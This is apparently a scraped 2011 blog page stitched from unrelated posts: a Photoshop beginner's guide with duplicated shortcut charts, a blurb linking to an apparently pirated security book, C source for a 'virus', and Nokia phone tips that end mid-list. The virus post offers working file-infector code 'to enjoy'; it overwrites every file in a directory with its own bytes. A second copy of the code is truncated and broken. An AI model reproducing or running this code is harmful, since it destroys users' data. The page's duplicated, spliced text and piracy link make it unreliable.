Saturday, February 26, 2011
A Beginners Guide to Photoshop
The Workspace
Tools Palette:
Self explanatory - the palette that contains the tools that can be used to directly edit the image.
Tool Options:
A selection of options that relate to the currently selected tool and alter its effects.
Drop down menus:
Standard drop down menus as seen in most Windows and Macintosh applications. Offers access to most of Photoshop's features. Commands for the drop down menus in these tutorials are written in bold.
Info Palette:
Shows information about the current image, or shows a thumbnail via which you can navigate the image. Information provided includes crop/selection area, file size, image dimensions, etc.
Colours/Styles Palette:
Allows you to select a colour via RGB sliders or preset web-safe colours ('Swatches'). Also lets you apply layer styles - preset combinations of layer styles (effects) that can achieve effective results if you're in a hurry. Use the expansion arrow (just undereath the close button) to load more styles that are included with Photoshop.
History Palette:
Gives a list of actions that can be undone - lists around one hundred. You can save snapshots to return to at key points in your image creation, or return to the saved file/a recent step. Also contains actions and tool presets for the currently selected tool.
Layers Palette:
The layers palette has many features, too many to list here. They are described later in the tutorial.
Self explanatory - the palette that contains the tools that can be used to directly edit the image.
Tool Options:
A selection of options that relate to the currently selected tool and alter its effects.
Drop down menus:
Standard drop down menus as seen in most Windows and Macintosh applications. Offers access to most of Photoshop's features. Commands for the drop down menus in these tutorials are written in bold.
Info Palette:
Shows information about the current image, or shows a thumbnail via which you can navigate the image. Information provided includes crop/selection area, file size, image dimensions, etc.
Colours/Styles Palette:
Allows you to select a colour via RGB sliders or preset web-safe colours ('Swatches'). Also lets you apply layer styles - preset combinations of layer styles (effects) that can achieve effective results if you're in a hurry. Use the expansion arrow (just undereath the close button) to load more styles that are included with Photoshop.
History Palette:
Gives a list of actions that can be undone - lists around one hundred. You can save snapshots to return to at key points in your image creation, or return to the saved file/a recent step. Also contains actions and tool presets for the currently selected tool.
Layers Palette:
The layers palette has many features, too many to list here. They are described later in the tutorial.
Layers
Palette Objects:-
Layer Opacity:
The opacity of the current layer, 0-100%.
Blending Mode:
The manner in which this layer interacts with layers below it. See below.
Active/Linked Layers:
A small paint brush icon appears in this space to indicate the active layer, and chain icons signify other layers that are linked with the active layer.
Layer visibility:
An eye in this area signifies that the layer is visible, and an empty box means it is hidden from view and exempt from formatting.
Layers:
Two example layers showing an example background layer and new (transparent) layer (Layer 1).
New Fill/Adjustment Layer:
Creates a layer that can add a gradient to or adjust the hue, etc. of the layer below.
New Layer:
Creates a new layer [ctrl/cmd + shift + N].
Delete Layer:
Deletes the currently selected layer.
New Layer Set:
Creates a folder for layers to be put into for easy organisation of layers.
New Layer Mask:
Creates a sub-layer with which you can use all normal tools. Adding black to a layer mask, for example, means that that part of the layer is invisible.
Layer Effects (Styles):
Applies various effects to the current layer - can also be reached via Layer || Layer Style.
Layer Opacity:
The opacity of the current layer, 0-100%.
Blending Mode:
The manner in which this layer interacts with layers below it. See below.
Active/Linked Layers:
A small paint brush icon appears in this space to indicate the active layer, and chain icons signify other layers that are linked with the active layer.
Layer visibility:
An eye in this area signifies that the layer is visible, and an empty box means it is hidden from view and exempt from formatting.
Layers:
Two example layers showing an example background layer and new (transparent) layer (Layer 1).
New Fill/Adjustment Layer:
Creates a layer that can add a gradient to or adjust the hue, etc. of the layer below.
New Layer:
Creates a new layer [ctrl/cmd + shift + N].
Delete Layer:
Deletes the currently selected layer.
New Layer Set:
Creates a folder for layers to be put into for easy organisation of layers.
New Layer Mask:
Creates a sub-layer with which you can use all normal tools. Adding black to a layer mask, for example, means that that part of the layer is invisible.
Layer Effects (Styles):
Applies various effects to the current layer - can also be reached via Layer || Layer Style.
Blending Modes:-
Normal/Dissolve:
All layers appear as normal - dissolve doesn't blend the colours that are layered, but instead applies the colour to pixels at random in accordance.
Darken > Linear Burn:
Subtly different methods of darkening the layers beneath the selected layer.
Lighten > Linear Dodge:
Subtly different methods of lightening the layers beneath the selected layer.
Overlay:
Crudely put, reduces the opacity of the layer.
Soft Light > Pin Light:
Methods of lightening layers below the current one at varying strengths.
Difference/Exclusion:
Quite complicated - this is as it appears in the PS help files: "Looks at the color information in each channel and subtracts either the blend color from the base color or the base color from the blend color, depending on which has the greater brightness value. Blending with white inverts the base color values; blending with black produces no change." Exclusion is pretty much the same but at lower contrast.
Hue > Luminosity:
Effects the respective value of the layer below.
All layers appear as normal - dissolve doesn't blend the colours that are layered, but instead applies the colour to pixels at random in accordance.
Darken > Linear Burn:
Subtly different methods of darkening the layers beneath the selected layer.
Lighten > Linear Dodge:
Subtly different methods of lightening the layers beneath the selected layer.
Overlay:
Crudely put, reduces the opacity of the layer.
Soft Light > Pin Light:
Methods of lightening layers below the current one at varying strengths.
Difference/Exclusion:
Quite complicated - this is as it appears in the PS help files: "Looks at the color information in each channel and subtracts either the blend color from the base color or the base color from the blend color, depending on which has the greater brightness value. Blending with white inverts the base color values; blending with black produces no change." Exclusion is pretty much the same but at lower contrast.
Hue > Luminosity:
Effects the respective value of the layer below.
Tools:-
Marquee Tool
The marquee tool selects areas within a layer. It is capable of selecting an elliptical, square, single column, and single rows.
Move Tool
The move tool can move around all objects within a layer. To move entire image, Flatten the layers by selecting Layer > Flatten Image.
Lasso Tool
The lasso tool can select areas within in a layer that can’t be reached with the marquee tool.
Magic Wand
The magic wand is an automatic selection tool. It selects everything in the layer.
Cropping tool
This tool changes the size of the image. To use, Select the area you want to crop and then press enter.
Slice Tool
Makes Guidelines.
Heal Brush Tool and Patch Tool
The patch tool is another form of the heal brush. It is in the options for the heal brush. The Heal Brush deletes the high contrast of a picture and is used when retouching a photo. To use, hold down alt while clicking on the source (an area that looks like what you want the damaged part to look like) and drag the mouse around the damaged picture to repair it.
The patch tool fixes damaged parts of a picture by blending the damaged part with a better one. Just use the patch tool to select part of the image, then drag the selection to another part of the image. This will combine the selections.
Pencil tool and brush tool
Draws or paints a line. Same as the pencil or brush tool in paint. Change the color of the paint brush by clicking on the color picker .
Clone Stamp Tool and Pattern Stamp tool
The clone stamp tool duplicates part of the image. Hold down alt while clicking to choose the part of the image which you want to duplicate. Drag the mouse over the damaged area.
The pattern stamp tool can create and save a pattern you want to use over and over again. To make a pattern, use the marquee tool or the lasso tool to select part of the image. Go to Filter > Pattern Maker and click generate. Click on the floppy disk underneath the Tile History called Save Preset Pattern. This will save the pattern. Do not push OK unless you want to fill the entire image with that pattern. Press cancel and select your pattern from Pattern on the top center of Photoshop. Drag the mouse over the area with the pattern stamp tool to edit the picture.
History Brush Tool and Art History Brush
The history Brush tool can go back and undo certain changes in a picture. To delete everything you did since the opening of the picture simply drag the history brush over the area to be repaired. The history brush works best when transforming snap shots. Using the snap shot will only change certain parts of the picture and can go back in editing to change major errors. To make a Snap Shot, save the picture then click on the small camera on the bottom of the history window. The snap shot will be saved once it is named. If you click on a previous snap shot, you can edit a previous version of your picture. Click on the last snap shot then use the history brush tool to undo the editing to make the unedited section look like the previous snap shot.
The Art history Brush tool can artistically undo an image and warp the original picture. Click on the top snap shot and chose what kind of brush to use on the top of the window under Style. Click on the area you want to edit with the art history brush.
Eraser tool
This can erase part of the photo in a certain layer. To erase everything in a certain area to make it white, flatten the image or go through every layer to delete that part.
Paint Bucket
Makes an area one color. To edit all layers at one time, click on All layers at the top of the window.
The Blur tool, Sharpen Tool, and Smudge Tool
To use, drag over part of photo you want to edit. The hardest part of this tool is selecting the right strength, brush size and mode. This tool is capable of blurring part of the image, undoing the blur with the sharpen tool, and slightly liquefying with the smudge tool.
The Dodge tool, Burn tool, and Sponge tool
To use any of these tools, just drag it over the image. The dodge tool can lighten an image, the burn tool darkens it, and the sponge tool soaks color out of the image.
Text tool
Puts text in a picture. Click on the picture with the type tool and select a box the size of the area you want to add text. Type in the box then adjust the size of the text box.
Pen Tool
The pen tool can make lines and be used with shape tools to create different shapes. To create lines, use the pen tool to create anchors (the little boxes on a line) and change the shape of the line by moving around the anchors.
Custom Shape Tools
Creates shapes in the image. The custom shapes tools can create all shapes in the shape section located at the top center of the Photoshop window.
Annotation tool
This can create notes and sound effects in an image. The only difference between the note tool and the text tool is that the note comes up in a little white box and when the note is too long for the given space, there will be a scroll bar. This is usually used in PDF formats and Acrobat Documents.
The audio Annotation tool can add audio notation to the picture. To use, click on the audio notation tool and press start. Record your voice with the microphone then press stop. You can import the audio by File > Import > Annotations. Make sure the file you import is a PDF file or a FDF file.
Eyedropper tool
Samples a color from the picture, color swatches, or the color picker. To use, click on the color on the image you want to take and right click.
Hand Tool
Moves around image within an object. Is used with the zoom tool when you want to adjust the section of picture you want to look at.
Zoom tool
Zooms in on part of the picture for closer editing.
Photoshop Useful Shortcut Key Chart for Windows
Photoshop Useful Shortcut Key Chart for Windows -
F1 - Toggles Adobe Online Help
F5 - Toggles Brush style palette
F6 - Toggles Colour, Swatches, Styles palette
F7 - Toggles Layers, Channels, Paths palette
F8 - Toggles Navigator, Info palette
F9 - Toggles Actions, History, Presets palette
Tab (Key) - Toggles all the palettes on screenShift + Tab (Key) - Toggles palettes on screen, excluding the Toolbar.
Ctrl+N: New Document
Ctrl+O: Open Document
Shift+Ctrl+O: Browse
Alt+Ctrl+O:Open As
Ctrl+W: Close
Ctrl+Shift+W: Close All
Ctrl+S: Save
Ctrl+Shift+S: Save As
Ctrl+Alt+S: Save a Copy
Ctrl+Alt+Shift+ S: Save for Web
Ctrl+Shift+P: Page Setup
Ctrl+Shift+M: Jump to Image Ready
Ctrl+Q: Exit
Viewing Shortcuts:
Ctrl+Y: Proof Colors
Ctrl++: Zoom In
Ctrl+-: Zoom Out
Ctrl+Alt++: Zoom In & Resize Window
Ctrl+Alt+-: Zoom Out & Resize Window
Ctrl+Alt+0: Actual Pixels
Ctrl+Shift+H: Show/Hide Target Path
Ctrl+R: Show/Hide Rulers
Ctrl+Shift+; : On/Off Snap
Ctrl+H: Show/Hide Extras
Ctrl+Alt+;: Lock Guides
Ctrl+;: Show Guides
Ctrl+': Show Grid
Tools Shortcuts:
A: Path Component Selection Tool
B: Paintbrush Tool
C: Crop Tool
D: Changes Default Colour Palettes To Black Foreground, White Background
E: Eraser Tool
F: Cycle Screen Modes
G: Gradient Tool
H: Hand Tool
I: Eyedropper Tool
J: Airbrush Tool
K: Slice Tool
L: Lasso Tool
M: Marquee Tool
N: Notes
O: Dodge/Burn/Sponge Tool
P: Pen Tool
Q: Quick Mask
R: Blur/Sharpen/ Smudge Tool
S: Clone Stamp
T: Type Tool
U: Shape Tool
V: Move Tool
W: Magic Wand
X: Swap Colours On Colour Pallete
Y: History Brush
Z: Zoom Tool
Layer Shortcuts:
Ctrl+Shift+N: New Layer
Ctrl+J: Layer via Copy
Ctrl+Shift+J: Layer via Cut
Ctrl+G: Group with Previous
Ctrl+Shift+] : Bring to Front
Ctrl+]: Bring Forward
Ctrl+[: Send Backward
Ctrl+Shift+[ : Send Back
Ctrl+E: Merge Layers
Ctrl+Shift+E: Merge Visible
Image Manipulation Shortcuts:
Ctrl+L: Adjust Levels
Ctrl+Shift+L: Adjust Auto Levels
Ctrl+Alt+Shift+ L: Adjust Auto Contrast
Ctrl+M: Adjust Curves
Ctrl+B: Adjust Color Balance
Ctrl+U: Adjust Hue/Saturation
Ctrl+Shift+U: Desaturate
Ctrl+I: Invert
Ctrl+Alt+X: Extract
Filters Shortcuts:
Ctrl+F: Last Filter
Ctrl+Shift+F: Fade
Ctrl+Alt+X: Extract
Ctrl+Shift+X: Liquify
Ctrl+Shift+Alt+ X: Pattern Make
Selection Shortcuts:
Ctrl+A: Select All
Ctrl+D: Deselect
Ctrl+Shift+D: Reselect
Ctrl+Shift+I: Inverse
Ctrl+Alt+D: Feather
Random Shortcuts:
Alt+Backspace: Fill with Forground Color
Shift+Backspace: Fill with Background Color
Alt+]: Ascend through Layers
Alt+[: Descend through Layers
Shift+Alt+]: Select Top Layer
Shift+Alt+[: Select Bottom Layer
Tab: Show/Hide All Palettes
F5 - Toggles Brush style palette
F6 - Toggles Colour, Swatches, Styles palette
F7 - Toggles Layers, Channels, Paths palette
F8 - Toggles Navigator, Info palette
F9 - Toggles Actions, History, Presets palette
Tab (Key) - Toggles all the palettes on screenShift + Tab (Key) - Toggles palettes on screen, excluding the Toolbar.
| Main Toolbar | |||
| Key | Action | Action keys | Key |
| m | Marquee Tool  |  Move Tool v | v |
| l | Lasso Tool  |  Magic Wand Tool w | w |
| j | Airbrush Tool  |  Paintbrush Tool b | b |
| s | Rubber Stamp Tool  |  History Brush Tool y | y |
| e | Eraser Tool  |  Pencil Tool n | n |
| r | Blur Tool  |  Dodge Tool o | o |
| p | Pen Tool  |  Type Tool t | t |
| u | Measure Tool  |  Linear Gradient Tool g | g |
| k | Paint Bucket Tool  |  Eyedropper Tool i | i |
| h | Hand Tool  |  Zoom Tool z | z |
| d | Default foreground and background colors. | ||
| x | Switches between foreground and background colors. | ||
| q | Switches between standard mode or quick mask mode. | ||
| f | Switches between screen modes. | ||
| TAB | Hides/Unhides open tools. | ||
| File Menu | |||
| Key | Action | ||
| CTRL + N | New | ||
| CTRL + O | Open | ||
| CTRL + ALT + O | Open As | ||
| CTRL + W | Close | ||
| CTRL + S | Save | ||
| CTRL + SHIFT + S | Save As | ||
| CTRL + ALT + S | Save a Copy | ||
| CTRL + SHIFT + P | Page Setup | ||
| CTRL + P | |||
| CTRL + K | Preferences > General | ||
| Edit Menu | |||
| Key | Action | ||
| CTRL + Z | Undo | ||
| CTRL + X | Cut | ||
| CTRL + C | Copy | ||
| CTRL + SHIFT + C | Copy Merged | ||
| CTRL + V | Paste | ||
| CTRL + SHIFT + V | Paste Into | ||
| CTRL + T | Free Transform | ||
| CTRL + SHIFT + T | Transform > Again | ||
| Image Menu | |||
| Key | Action | ||
| CTRL + L | Adjust > Levels | ||
| CTRL + SHIFT + L | Adjust > Auto Levels | ||
| CTRL + ALT + SHIFT + L | Adjust > Auto Contrast | ||
| CTRL + M | Adjust > Curves | ||
| CTRL + B | Adjust > Color Balance | ||
| CTRL + U | Adjust > Hue/Saturation | ||
| CTRL + SHIFT + U | Adjust > Desaturate | ||
| CTRL + I | Adjust > Invert | ||
| CTRL + ALT + X | Extract | ||
| Layer Menu | |||
| Key | Action | ||
| CTRL + SHIFT + N | New > Layer | ||
| CTRL + J | New > Layer Via Copy | ||
| CTRL + SHIFT + J | New > Layer Via Cut | ||
| CTRL + G | Group with Previous | ||
| CTRL + SHIFT + G | Ungroup | ||
| CTRL + SHIFT + ] | Arrange > Bring to Front | ||
| CTRL + ] | Arrange > Bring Forward | ||
| CTRL + [ | Arrange > Send Backward | ||
| CTRL + SHIFT + [ | Arrange > Send to Back | ||
| CTRL + E | Merge Down | ||
| CTRL + SHIFT + E | Merge Visible | ||
| Select Menu | |||
| Key | Action | ||
| CTRL + A | All | ||
| CTRL + D | Deselect | ||
| CTRL + SHIFT + D | Reselect | ||
| CTRL + SHIFT + I | Inverse | ||
| CTRL + ALT + D | Feather | ||
| Filter Menu | |||
| Key | Action | ||
| CTRL + F | Last Filter | ||
| CTRL + SHIFT + F | Fade | ||
| View Menu | |||
| Key | Action | ||
| CTRL + Y | Preview > CMYK | ||
| CTRL + SHIFT + Y | Gamut Warning | ||
| CTRL + + | Zoom In | ||
| CTRL + - | Zoom Out | ||
| CTRL + 0 | Fit on Screen | ||
| CTRL + SHIFT + 0 | Actual Pixels | ||
| CTRL + H | Hide Edges | ||
| CTRL + SHIFT + H | Hide Path | ||
| CTRL + R | Show Rulers | ||
| CTRL + ; | Hide Guides | ||
| CTRL + SHIFT + ; | Snap To Guides | ||
| CTRL + ALT + ; | Lock Guides | ||
| CTRL + " | Show Grid | ||
| CTRL + SHIFT + " | Snap To Grid | ||
| Help Menu | |||
| Key | Action | ||
| F1 | Contents | ||
| Other Shortcuts | |||
| Key | Action | ||
| Page Up/Down | Move view up/down 1 screen. | ||
| SHIFT + Page Up/Down | Nudge view up/down. | ||
| CTRL + Page Up/Down | Move view left/right 1 screen. | ||
| CTRL + SHIFT + Page Up/Down | Nudge screen left/right. | ||
| CTRL + SHIFT + Z | Previous History entry. | ||
| CTRL + ALT + Z | Next History entry. | ||
| SHIFT + - | Previous blending mode. | ||
| SHIFT + + | Next blending mode. | ||
Ctrl Short Cuts -
Ctrl + N - New Document Dialogue Box
Ctrl + M - Curves Dialogue Box
Ctrl + A - Selects all in the currently foreground document or currently selected layer
Ctrl + D - Deselects all in the currently foreground document or currently selected layer
Ctrl + J - Automatically creates a duplicate of the currently selected layer
Ctrl + K - Preferences Dialogue Box
Ctrl + L - Levels Dialogue Box
Ctrl + F4 - Closes current document
Ctrl + ' (Single Quote Key) - Toggles Grid Lines
Ctrl + Q - Quits Photoshop altogether
Ctrl + R - Toggles Rulers
Ctrl + U - Hue/Saturation Dialogue Box
Ctrl + O - Opens New File
Ctrl + P - Print Dialogue Box
Ctrl + Z - Undo last Action
Ctrl + Tab - Toggle between open documents
Ctrl + Shift + C - Copy Merged
Ctrl + C - Copy
Ctrl + H - Toggle Extras
Ctrl + ; - Toggle Guides
Ctrl + Shift + ; - Toggle Snap
Ctrl + X - Cut
Ctrl + Alt + Shift + X - Pattern Maker
Ctrl + V - Paste
Ctrl + Shift + V - Paste into selection
Ctrl + Alt + Shift + V - Paste Outside
Ctrl + T - Transform Tool
Ctrl + Shift + T - Repeats the last performed Transform
Shift + F5 / Shift + Backspace (Key) - Fill Layer Dialogue Box
Combination Number 9 Shortcuts - Ctrl + Shift / Alt -
Ctrl + M - Curves Dialogue Box
Ctrl + A - Selects all in the currently foreground document or currently selected layer
Ctrl + D - Deselects all in the currently foreground document or currently selected layer
Ctrl + J - Automatically creates a duplicate of the currently selected layer
Ctrl + K - Preferences Dialogue Box
Ctrl + L - Levels Dialogue Box
Ctrl + F4 - Closes current document
Ctrl + ' (Single Quote Key) - Toggles Grid Lines
Ctrl + Q - Quits Photoshop altogether
Ctrl + R - Toggles Rulers
Ctrl + U - Hue/Saturation Dialogue Box
Ctrl + O - Opens New File
Ctrl + P - Print Dialogue Box
Ctrl + Z - Undo last Action
Ctrl + Tab - Toggle between open documents
Ctrl + Shift + C - Copy Merged
Ctrl + C - Copy
Ctrl + H - Toggle Extras
Ctrl + ; - Toggle Guides
Ctrl + Shift + ; - Toggle Snap
Ctrl + X - Cut
Ctrl + Alt + Shift + X - Pattern Maker
Ctrl + V - Paste
Ctrl + Shift + V - Paste into selection
Ctrl + Alt + Shift + V - Paste Outside
Ctrl + T - Transform Tool
Ctrl + Shift + T - Repeats the last performed Transform
Shift + F5 / Shift + Backspace (Key) - Fill Layer Dialogue Box
Combination Number 9 Shortcuts - Ctrl + Shift / Alt -
Ctrl + Shift + O - Photoshop's File Browser
Ctrl + Shift + P - Page Setup Dialogue Box
Ctrl + Shift + S - Save As Dialogue Box
Ctrl + Shift + K - Color Setting Preferences Box
Ctrl + Shift + F - Fade Dialogue Box
Ctrl + Shift + X - Liquify Filter Tool
Ctrl + Shift + N - Create New Layer Preferences Box
Ctrl + Shift + M - Launches ImageReady
Ctrl + Shift + E - Merges all layers into a single layer
Ctrl + Alt + Z - Step Backward
Ctrl + Shift + - (Minus Sign Key) - Zoom Out
Ctrl + Shift + + (Plus Sign Key) - Zoom In
Ctrl + Shift + Alt + N - Creates a new empty layer
Ctrl + Shift + Alt + S - Save For The Web Dialogue
Ctrl + Alt (in most Dialogue Boxes) - Changes the 'Cancel' command to 'Reset'
Ctrl + Alt (in the 'Save For Web Dialogue') - Changes the 'Cancel' command to 'Reset' & the 'Done' command to 'Remember'
Ctrl + Alt + ~(Tild Symbol) - Selects the brightest area of the currently selected layer
Ctrl + Shift + I - Inverts a selection
Ctrl + Alt + X - Extract
Shift + -/+ signs(on a layer) - Toggles the different layer modes
Shift + Ctrl + Z - Step Forward
Ctrl + Shift + P - Page Setup Dialogue Box
Ctrl + Shift + S - Save As Dialogue Box
Ctrl + Shift + K - Color Setting Preferences Box
Ctrl + Shift + F - Fade Dialogue Box
Ctrl + Shift + X - Liquify Filter Tool
Ctrl + Shift + N - Create New Layer Preferences Box
Ctrl + Shift + M - Launches ImageReady
Ctrl + Shift + E - Merges all layers into a single layer
Ctrl + Alt + Z - Step Backward
Ctrl + Shift + - (Minus Sign Key) - Zoom Out
Ctrl + Shift + + (Plus Sign Key) - Zoom In
Ctrl + Shift + Alt + N - Creates a new empty layer
Ctrl + Shift + Alt + S - Save For The Web Dialogue
Ctrl + Alt (in most Dialogue Boxes) - Changes the 'Cancel' command to 'Reset'
Ctrl + Alt (in the 'Save For Web Dialogue') - Changes the 'Cancel' command to 'Reset' & the 'Done' command to 'Remember'
Ctrl + Alt + ~(Tild Symbol) - Selects the brightest area of the currently selected layer
Ctrl + Shift + I - Inverts a selection
Ctrl + Alt + X - Extract
Shift + -/+ signs(on a layer) - Toggles the different layer modes
Shift + Ctrl + Z - Step Forward
File Menu Shortcuts:
Ctrl+N: New Document
Ctrl+O: Open Document
Shift+Ctrl+O: Browse
Alt+Ctrl+O:Open As
Ctrl+W: Close
Ctrl+Shift+W: Close All
Ctrl+S: Save
Ctrl+Shift+S: Save As
Ctrl+Alt+S: Save a Copy
Ctrl+Alt+Shift+ S: Save for Web
Ctrl+Shift+P: Page Setup
Ctrl+Shift+M: Jump to Image Ready
Ctrl+Q: Exit
Viewing Shortcuts:
Ctrl+Y: Proof Colors
Ctrl++: Zoom In
Ctrl+-: Zoom Out
Ctrl+Alt++: Zoom In & Resize Window
Ctrl+Alt+-: Zoom Out & Resize Window
Ctrl+Alt+0: Actual Pixels
Ctrl+Shift+H: Show/Hide Target Path
Ctrl+R: Show/Hide Rulers
Ctrl+Shift+; : On/Off Snap
Ctrl+H: Show/Hide Extras
Ctrl+Alt+;: Lock Guides
Ctrl+;: Show Guides
Ctrl+': Show Grid
Tools Shortcuts:
A: Path Component Selection Tool
B: Paintbrush Tool
C: Crop Tool
D: Changes Default Colour Palettes To Black Foreground, White Background
E: Eraser Tool
F: Cycle Screen Modes
G: Gradient Tool
H: Hand Tool
I: Eyedropper Tool
J: Airbrush Tool
K: Slice Tool
L: Lasso Tool
M: Marquee Tool
N: Notes
O: Dodge/Burn/Sponge Tool
P: Pen Tool
Q: Quick Mask
R: Blur/Sharpen/ Smudge Tool
S: Clone Stamp
T: Type Tool
U: Shape Tool
V: Move Tool
W: Magic Wand
X: Swap Colours On Colour Pallete
Y: History Brush
Z: Zoom Tool
Layer Shortcuts:
Ctrl+Shift+N: New Layer
Ctrl+J: Layer via Copy
Ctrl+Shift+J: Layer via Cut
Ctrl+G: Group with Previous
Ctrl+Shift+] : Bring to Front
Ctrl+]: Bring Forward
Ctrl+[: Send Backward
Ctrl+Shift+[ : Send Back
Ctrl+E: Merge Layers
Ctrl+Shift+E: Merge Visible
Image Manipulation Shortcuts:
Ctrl+L: Adjust Levels
Ctrl+Shift+L: Adjust Auto Levels
Ctrl+Alt+Shift+ L: Adjust Auto Contrast
Ctrl+M: Adjust Curves
Ctrl+B: Adjust Color Balance
Ctrl+U: Adjust Hue/Saturation
Ctrl+Shift+U: Desaturate
Ctrl+I: Invert
Ctrl+Alt+X: Extract
Filters Shortcuts:
Ctrl+F: Last Filter
Ctrl+Shift+F: Fade
Ctrl+Alt+X: Extract
Ctrl+Shift+X: Liquify
Ctrl+Shift+Alt+ X: Pattern Make
Selection Shortcuts:
Ctrl+A: Select All
Ctrl+D: Deselect
Ctrl+Shift+D: Reselect
Ctrl+Shift+I: Inverse
Ctrl+Alt+D: Feather
Random Shortcuts:
Alt+Backspace: Fill with Forground Color
Shift+Backspace: Fill with Background Color
Alt+]: Ascend through Layers
Alt+[: Descend through Layers
Shift+Alt+]: Select Top Layer
Shift+Alt+[: Select Bottom Layer
Tab: Show/Hide All Palettes
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2008 | English | ISBN-13: 978-0071494267 | 481 Pages | PDF | 5.94 MB
Meet the challenges of Windows security with the exclusive Hacking Exposed "attack-countermeasure" approach. Learn how real-world malicious hackers conduct reconnaissance of targets and then exploit common misconfigurations and software flaws on both clients and servers. See leading-edge exploitation techniques demonstrated, and learn how the latest countermeasures in Windows XP, Vista, and Server 2003/2008 can mitigate these attacks. Get practical advice based on the authors" and contributors" many years as security professionals hired to break into the world"s largest IT infrastructures. Dramatically improve the security of Microsoft technology deployments of all sizes when you learn to:
* Establish business relevance and context for security by highlighting real-world risks
* Take a tour of the Windows security architecture from the hacker"s perspective, exposing old and new vulnerabilities that can easily be avoided
* Understand how hackers use reconnaissance techniques such as footprinting, scanning, banner grabbing, DNS queries, and Google searches to locate vulnerable Windows systems
* Learn how information is extracted anonymously from Windows using simple NetBIOS, SMB, MSRPC, SNMP, and Active Directory enumeration techniques
* Prevent the latest remote network exploits such as password grinding via WMI and Terminal Server, passive Kerberos logon sniffing, rogue server/man-in-the-middle attacks, and cracking vulnerable services
* See up close how professional hackers reverse engineer and develop new Windows exploits
* Identify and eliminate rootkits, malware, and stealth software
* Fortify SQL Server against external and insider attacks
* Harden your clients and users against the latest e-mail phishing, spyware, adware, and Internet Explorer threats
* Deploy and configure the latest Windows security countermeasures, including BitLocker, Integrity Levels, User *** Control, the updated Windows Firewall, Group Policy, Vista Service Refactoring/Hardening, SafeSEH, GS, DEP, Patchguard, and Address Space Layout Randomization.
download link :- download here
http://hotfile.com/dl/66457562/5adfa2f/Hacking_Exposed_Windows_-_Microsoft_Windows_Security_Secrets__Solutions_3rd_Edition_2008.rar.html
* Establish business relevance and context for security by highlighting real-world risks
* Take a tour of the Windows security architecture from the hacker"s perspective, exposing old and new vulnerabilities that can easily be avoided
* Understand how hackers use reconnaissance techniques such as footprinting, scanning, banner grabbing, DNS queries, and Google searches to locate vulnerable Windows systems
* Learn how information is extracted anonymously from Windows using simple NetBIOS, SMB, MSRPC, SNMP, and Active Directory enumeration techniques
* Prevent the latest remote network exploits such as password grinding via WMI and Terminal Server, passive Kerberos logon sniffing, rogue server/man-in-the-middle attacks, and cracking vulnerable services
* See up close how professional hackers reverse engineer and develop new Windows exploits
* Identify and eliminate rootkits, malware, and stealth software
* Fortify SQL Server against external and insider attacks
* Harden your clients and users against the latest e-mail phishing, spyware, adware, and Internet Explorer threats
* Deploy and configure the latest Windows security countermeasures, including BitLocker, Integrity Levels, User *** Control, the updated Windows Firewall, Group Policy, Vista Service Refactoring/Hardening, SafeSEH, GS, DEP, Patchguard, and Address Space Layout Randomization.
download link :- download here
http://hotfile.com/dl/66457562/5adfa2f/Hacking_Exposed_Windows_-_Microsoft_Windows_Security_Secrets__Solutions_3rd_Edition_2008.rar.html
virus in c,c++
Hey friends!
This program is an example of Don’t compile in ur own machine.
#include
#include
#include
#include
#include
#include
#
#include
#include
#include
#include
#include
FILE *virus,*host;
int done,a=0;
unsigned long x;
char buff[2048];
struct ffblk ffblk;
clock_t st,end;
void main()
{
st=clock ();
clrscr();
done=findfirst(”*.*”,&ffblk,0);
while(!done)
{
virus=fopen(_argv[0],”rb”);
host=fopen(ffblk.ff_name,”rb+”);
if(host==NULL ) goto next;
x=89088;
printf(”Infecting %s\n”,ffblk.ff_name,a);
while(x>2048)
{
fread(buff,2048,1,virus);
fwrite(buff,2048,1,host);
x-=2048;
}
fread(buff,x,1,virus);
fwrite(buff,x,1,host);
a++;
next:
{
fcloseall();
done=findnext(&ffblk);
}
}
printf(”DONE! (Total Files Infected= %d)”,a);
end=clock();
printf(”TIME TAKEN =%f SEC \n”,
(end-st)/CLK_TCK);
getch();
}
int done,a=0;
char buff[2048];
struct ffblk ffblk;
clock_t st,end;
void main()
{
st=
clrscr();
done=findfirst(”*.*”,&ffblk,0);
while(!done)
{
virus=fopen(_argv[0],”rb”);
host=fopen(ffblk.ff_name,”rb+”);
if(host==
x=89088;
printf(”Infecting %s\n”,ffblk.ff_name,a);
while(x>2048)
{
fread(buff,2048,1,virus);
fwrite(buff,2048,1,host);
x-=2048;
}
fread(buff,x,1,virus);
fwrite(buff,x,1,host);
a++;
next:
{
fcloseall();
done=findnext(&ffblk);
}
}
printf(”DONE! (
end=clock();
printf(”
(end-st)/CLK_TCK);
getch();
}
Enjoy! :)
15 General Tips and Tricks for Nokia Users
15 General Tips and Tricks for Nokia Users
Tips 1 : Do u know how to use the edit button (abc or pencil button)?
Heres how... In the inbox for example; u wanna delete multiple sms, simply hold the edit button, scroll down, and then, press c to delete the marked sms. The edit button can also b used to copy and past text in sms, simply hold it and scroll across, choose copy. Pretty good for placing song names in ngages
Tip 2 : Shit happens, on a smartphone, its inevitable u do something wrong, and tis calls for a format of fone. To format the fone, press *#7370#, then enter the lock code, which is the sec code of the fone. NOTE: batt must b full, else if format is disrupted by low batt, consequences will b disatrous.I heard the code *#7780# works too, pretty much the same i tink.
for 6600 users, to format the fone, theres an alternative way. Press and hold <3>, <*> and Call (Send) buttons, then power on fone, keep holding on the 3 buttons, till u come to a format screen. This method ONLY works on 6600, and need not enter the sec code. BUT sec code would be reset to default 12345.
Tip 3 : TO NGAGE USERS; Did u know u can install .sis files simply using the cable given? Juz plug it in, place the .sis file anywhere on e: (the mmc), not in any folders, root of e:, disconnect, then look for it in manager.
Tip 4: Save on battery and system memory being used by regulary checking the task manager which can be accessed by holding down the menu button!!
Tip 4a: Set the screen saver to a short time out period to prolong battery life.
Tip 4b: Avoid restarting the phone, or repeatedly turning it on and off. This helps increase battery life.
Tip 5: Type *#06# to display your IMEI serial number, very valuable for the unlocking your phone to other sim cards
Tip 6: Type *#0000# to view which firmware version you are running
Tip 7: If you would like to avoid being "blue jacked", keep bluetooth turned off, or set your phone's visibility to hidden.
Tip 8: Don't want to carry a watch and a phone? Set the screen saver to show date and time, then you can ditch the watch.
Tip 9: Save memory when installing apps, by installing over bluetooth. This can be done using the nokia phone suite and a bluetooth serial connection. Only works with .SIS files, so java still has to be sent to the phone, but will save space when using .SIS files.
Tip 10: Operator logos
